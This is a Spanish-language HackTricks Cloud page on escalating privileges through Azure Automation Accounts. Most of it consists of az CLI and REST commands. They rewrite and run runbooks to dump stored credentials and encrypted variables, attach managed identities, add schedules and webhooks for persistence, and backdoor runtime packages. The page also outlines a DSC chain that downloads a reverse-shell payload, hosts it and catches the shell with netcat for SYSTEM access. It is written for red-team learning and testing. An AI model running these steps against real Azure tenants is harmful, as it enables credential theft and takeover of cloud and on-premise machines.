Az - Azure Automation Accounts Privesc
Tip
Aprende y practica AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Consulta los subscription plans!
- Únete al 💬 Discord group o al telegram group o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud github repos.
Azure Automation Accounts
Para más información consulta:
Hybrid Workers Group
- From the Automation Account to the VM
Recuerda que si de alguna manera un atacante puede ejecutar un runbook (código arbitrario) en un hybrid worker, podrá pivot to the location of the VM. Esto podría ser una máquina on-premise, una VPC de otra cloud o incluso una Azure VM.
Además, si el hybrid worker se está ejecutando en Azure con otras Managed Identities adjuntas, el runbook podrá acceder a la managed identity of the runbook and all the managed identities of the VM from the metadata service.
Tip
Recuerda que el metadata service tiene una URL diferente (
http://169.254.169.254) que el servicio desde donde se obtiene el token de las managed identities de la automation account (IDENTITY_ENDPOINT).
- From the VM to the Automation Account
Además, si alguien compromete una VM donde se está ejecutando un script de una automation account, podrá localizar los metadatos de la Automation Account y acceder a ellos desde la VM para obtener tokens de las Managed Identities adjuntas a la Automation Account.
Como es posible ver en la siguiente imagen, teniendo acceso de Administrator sobre la VM es posible encontrar en las environment variables of the process la URL y el secret para acceder al automation account metadata service:

Microsoft.Automation/automationAccounts/jobs/write, Microsoft.Automation/automationAccounts/runbooks/draft/write, Microsoft.Automation/automationAccounts/jobs/output/read, Microsoft.Automation/automationAccounts/runbooks/publish/action (Microsoft.Resources/subscriptions/resourcegroups/read, Microsoft.Automation/automationAccounts/runbooks/write)
En resumen, estos permisos permiten crear, modificar y ejecutar Runbooks en la Automation Account, lo que podrías usar para ejecutar código en el contexto de la Automation Account y escalar privilegios a las Managed Identities asignadas y leak credenciales y variables encriptadas almacenadas en la Automation Account.
El permiso Microsoft.Automation/automationAccounts/runbooks/draft/write permite modificar el código de un Runbook en la Automation Account usando:
# Update the runbook content with the provided PowerShell script
az automation runbook replace-content --no-wait \
--resource-group Resource_Group_1 \
--automation-account-name autoaccount1 \
--name AzureAutomationTutorialWithIdentity \
--content '$creds = Get-AutomationPSCredential -Name "<credential-name>"
$runbook_variable = Get-AutomationVariable -Name "<encrypted-variable-name>"
$runbook_variable
$creds.GetNetworkCredential().username
$creds.GetNetworkCredential().password'
Observa cómo el script anterior puede usarse para leak el useranmd y password de una credencial y el valor de una variable cifrada almacenada en la Automation Account.
El permiso Microsoft.Automation/automationAccounts/runbooks/publish/action permite al usuario publicar un Runbook en la Automation Account para que los cambios se apliquen:
az automation runbook publish \
--resource-group <res-group> \
--automation-account-name <account-name> \
--name <runbook-name>
El permiso Microsoft.Automation/automationAccounts/jobs/write permite al usuario ejecutar un Runbook en la Automation Account usando:
az automation runbook start \
--automation-account-name <account-name> \
--resource-group <res-group> \
--name <runbook-name> \
[--run-on <name-hybrid-group>]
El permiso Microsoft.Automation/automationAccounts/jobs/output/read permite al usuario leer la salida de un job en la Automation Account usando:
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/jobs/<job-name>/output?api-version=2023-11-01"
Si no existen Runbooks creados, o quieres crear uno nuevo, necesitarás los permisos Microsoft.Resources/subscriptions/resourcegroups/read y Microsoft.Automation/automationAccounts/runbooks/write para hacerlo usando:
az automation runbook create --automation-account-name <account-name> --resource-group <res-group> --name <runbook-name> --type PowerShell
Microsoft.Automation/automationAccounts/write, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action
Este permiso permite al usuario assign a user managed identity al Automation Account usando:
az rest --method PATCH \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>?api-version=2020-01-13-preview" \
--headers "Content-Type=application/json" \
--body '{
"identity": {
"type": "UserAssigned",
"userAssignedIdentities": {
"/subscriptions/<subscripntion-id>/resourceGroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<user-managed-identity-name>": {}
}
}
}'
Microsoft.Automation/automationAccounts/schedules/write, Microsoft.Automation/automationAccounts/jobSchedules/write
Con el permiso Microsoft.Automation/automationAccounts/schedules/write es posible crear un nuevo Schedule en la Automation Account que se ejecuta cada 15 minutos (no muy sigiloso) usando el siguiente comando.
Ten en cuenta que el intervalo mínimo para un schedule es de 15 minutos, y el tiempo mínimo de inicio es de 5 minutos en el futuro.
## For linux
az automation schedule create \
--resource-group <RESOURCE_GROUP> \
--automation-account-name <AUTOMATION_ACCOUNT_NAME> \
--name <SCHEDULE_NAME> \
--description "Triggers runbook every minute" \
--start-time "$(date -u -d "7 minutes" +%Y-%m-%dT%H:%M:%SZ)" \
--frequency Minute \
--interval 15
## Form macOS
az automation schedule create \
--resource-group <RESOURCE_GROUP> \
--automation-account-name <AUTOMATION_ACCOUNT_NAME> \
--name <SCHEDULE_NAME> \
--description "Triggers runbook every 15 minutes" \
--start-time "$(date -u -v+7M +%Y-%m-%dT%H:%M:%SZ)" \
--frequency Minute \
--interval 15
Entonces, con el permiso Microsoft.Automation/automationAccounts/jobSchedules/write es posible asignar un Scheduler a un runbook usando:
az rest --method PUT \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-accounts>/jobSchedules/b510808a-8fdc-4509-a115-12cfc3a2ad0d?api-version=2015-10-31" \
--headers "Content-Type=application/json" \
--body '{
"properties": {
"runOn": "",
"runbook": {
"name": "<runbook-name>"
},
"schedule": {
"name": "<scheduler-name>>"
},
"parameters": {}
}
}'
Tip
En el ejemplo anterior el ID del job schedule se dejó como
b510808a-8fdc-4509-a115-12cfc3a2ad0dcomo ejemplo, pero necesitarás usar un valor arbitrario para crear esta asignación.
Microsoft.Automation/automationAccounts/webhooks/write
Con el permiso Microsoft.Automation/automationAccounts/webhooks/write es posible crear un nuevo Webhook para un Runbook dentro de una Automation Account usando uno de los siguientes comandos.
Con Azure Powershell:
New-AzAutomationWebHook -Name <webhook-name> -ResourceGroupName <res-group> -AutomationAccountName <automation-account-name> -RunbookName <runbook-name> -IsEnabled $true
Con AzureCLI y REST:
az rest --method put \
--uri "https://management.azure.com/subscriptions/<subscriptionID>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/webhooks/<webhook-name>?api-version=2015-10-31" \
--body '{
"name": "<webhook-name>",
"properties": {
"isEnabled": true,
"expiryTime": "2027-12-31T23:59:59+00:00",
"runOn": "<worker name>",
"runbook": {
"name": "<runbook-name>"
}
}
}'
Estos comandos deberían devolver un webhook URI que solo se muestra al crearse. Luego, para invocar el runbook usando el webhook URI
curl -X POST "https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=Ts5WmbKk0zcuA8PEUD4pr%2f6SM0NWydiCDqCqS1IdzIU%3d" \
-H "Content-Length: 0"
Microsoft.Automation/automationAccounts/runbooks/draft/write
Solo con el permiso Microsoft.Automation/automationAccounts/runbooks/draft/write es posible actualizar el código de un Runbook sin publicarlo y ejecutarlo usando los siguientes comandos.
# Update the runbook content with the provided PowerShell script
az automation runbook replace-content --no-wait \
--resource-group Resource_Group_1 \
--automation-account-name autoaccount1 \
--name AzureAutomationTutorialWithIdentity \
--content 'echo "Hello World"'
# Run the unpublished code
## Indicate the name of the hybrid worker group in runOn to execute the runbook there
az rest \
--method PUT \
--url "https://management.azure.com/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Automation/automationAccounts/autoaccount1/runbooks/AzureAutomationTutorialWithIdentity/draft/testJob?api-version=2023-05-15-preview" \
--headers "Content-Type=application/json" \
--body '{
"parameters": {},
"runOn": "",
"runtimeEnvironment": "PowerShell-5.1"
}'
# Get the output (a different permission is needed here, but you could get a revershell or exfiltrate the token to avoid needing this permission)
az rest --method get --url "https://management.azure.com/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Automation/automationAccounts/autoaccount1/runbooks/AzureAutomationTutorialWithIdentity/draft/testJob/streams?api-version=2019-06-01"
Microsoft.Automation/automationAccounts/sourceControls/write, (Microsoft.Automation/automationAccounts/sourceControls/read)
Este permiso permite al usuario configurar un control de código fuente para la Automation Account usando un comando como el siguiente (este usa Github como ejemplo):
az automation source-control create \
--resource-group <res-group> \
--automation-account-name <automation-account-name> \
--name RemoteGithub \
--repo-url https://github.com/carlospolop/gh-runbooks.git \
--branch main \
--folder-path /runbooks/ \
--publish-runbook true \
--auto-sync \
--source-type GitHub \
--token-type PersonalAccessToken \
--access-token github_pat_11AEDCVZ<rest-of-the-token>
Esto importará automáticamente los runbooks desde el repositorio de Github al Automation Account y, con algunos permisos adicionales para iniciarlos, sería possible to escalate privileges.
Además, recuerda que para que source control funcione en Automation Accounts debe tener una managed identity con el rol Contributor y, si es una user managed identity, el client id del MI debe especificarse en la variable AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID.
Tip
Ten en cuenta que no es posible cambiar la URL del repo de un source control una vez que se ha creado.
Microsoft.Automation/automationAccounts/variables/write
Con el permiso Microsoft.Automation/automationAccounts/variables/write es posible escribir variables en la Automation Account usando el siguiente comando.
az rest --method PUT \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/variables/<variable-name>?api-version=2019-06-01" \
--headers "Content-Type=application/json" \
--body '{
"name": "<variable-name>",
"properties": {
"description": "",
"value": "\"<variable-value>\"",
"isEncrypted": false
}
}'
Entornos de runtime personalizados
Si un automation account está usando un entorno de runtime personalizado, podría ser posible sobrescribir un paquete personalizado del runtime con código malicioso (como a backdoor). De este modo, cada vez que se ejecute un runbook que utilice ese runtime personalizado y cargue el paquete personalizado, se ejecutará el código malicioso.
Comprometiendo la configuración de estado
Consulta la entrada completa en: https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe
- Paso 1 — Crear archivos
Archivos requeridos: Se necesitan dos scripts de PowerShell:
reverse_shell_config.ps1: Un archivo Desired State Configuration (DSC) que obtiene y ejecuta el payload. Está disponible en GitHub.push_reverse_shell_config.ps1: Un script para publicar la configuración en la VM, disponible en GitHub.
Personalización: Las variables y parámetros en estos archivos deben adaptarse al entorno específico del usuario, incluidos nombres de recursos, rutas de archivos e identificadores del servidor/payload.
- Paso 2 — Comprimir el archivo de configuración
El reverse_shell_config.ps1 se comprime en un archivo .zip, dejándolo listo para transferirse al Azure Storage Account.
Compress-Archive -Path .\reverse_shell_config.ps1 -DestinationPath .\reverse_shell_config.ps1.zip
- Paso 3 — Set Storage Context & Upload
El archivo de configuración comprimido se carga en un contenedor predefinido de Azure Storage, azure-pentest, usando el cmdlet Set-AzStorageBlobContent de Azure.
Set-AzStorageBlobContent -File "reverse_shell_config.ps1.zip" -Container "azure-pentest" -Blob "reverse_shell_config.ps1.zip" -Context $ctx
- Paso 4 — Preparar Kali Box
El servidor Kali descarga el payload RevPS.ps1 desde un repositorio de GitHub.
wget https://raw.githubusercontent.com/nickpupp0/AzureDSCAbuse/master/RevPS.ps1
Se edita el script para especificar la VM de Windows objetivo y el puerto para el reverse shell.
- Paso 5 — Publicar el archivo de configuración
El archivo de configuración se ejecuta, resultando en que el reverse-shell script se despliegue en la ubicación especificada en la VM de Windows.
- Paso 6 — Hospedar el payload y configurar el listener
Se inicia un Python SimpleHTTPServer para alojar el payload, junto con un listener de Netcat para capturar las conexiones entrantes.
sudo python -m SimpleHTTPServer 80
sudo nc -nlvp 443
La tarea programada ejecuta el payload, obteniendo privilegios a nivel SYSTEM.
Tip
Aprende y practica AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Consulta los subscription plans!
- Únete al 💬 Discord group o al telegram group o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud github repos.
HackTricks Cloud

